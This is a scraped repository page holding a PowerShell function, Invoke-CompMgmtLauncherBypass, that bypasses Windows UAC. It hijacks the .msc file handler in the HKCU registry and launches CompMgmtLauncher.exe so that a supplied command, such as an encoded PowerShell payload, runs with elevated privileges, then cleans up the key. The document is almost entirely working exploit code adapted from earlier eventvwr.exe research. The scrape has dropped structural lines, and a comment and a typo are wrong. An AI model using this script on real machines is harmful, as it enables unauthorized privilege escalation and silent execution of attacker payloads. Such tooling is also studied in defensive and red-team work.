Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
86 lines (65 sloc) 3.43 KB
function Invoke-CompMgmtLauncherBypass {
Uses CompMgmtLauncher.exe to bypass UAC by performing an image hijack on the .msc file extension
Tested on Windows 7, Windows 8.1, and Windows 10
This is an identical issue to the eventvwr.exe bypass found by Matt Nelson, but in CompMgmtLauncher.exe.
Credit goes to Matt Nelson (@enigma0x3) for the original vuln and writeup:
Slight modification to target CompMgmtLauncher.exe: mrfuzzy
Original Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
This will write out "Is Elevated: True" to C:\UACBypassTest.
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
#Add in the new registry entries to hijack the msc file
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $mscCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
Write-Verbose "Key already exists, consider using -Force"
if (Test-Path $mscCommandPath) {
Write-Verbose "Created registry entries to hijack the msc extension"
Write-Warning "Failed to create registry key, exiting"
$CompMgmtLauncherPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'CompMgmtLauncher.exe'
#Start Event Viewer
if ($PSCmdlet.ShouldProcess($CompMgmtLauncherPath, 'Start process')) {
$Process = Start-Process -FilePath $CompMgmtLauncherPath -PassThru
Write-Verbose "Started CompMgmtLauncher.exe"
#Sleep 5 seconds
Write-Verbose "Sleeping 5 seconds to trigger payload"
if (-not $PSBoundParameters['WhatIf']) {
Start-Sleep -Seconds 5
$mscfilePath = "HKCU:\Software\Classes\mscfile"
if (Test-Path $mscfilePath) {
#Remove the registry entry
Remove-Item $mscfilePath -Recurse -Force
Write-Verbose "Removed registry entries"
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
Stop-Process -Id $Process.Id
Write-Verboe "Killed running CompMgmtLauncher process"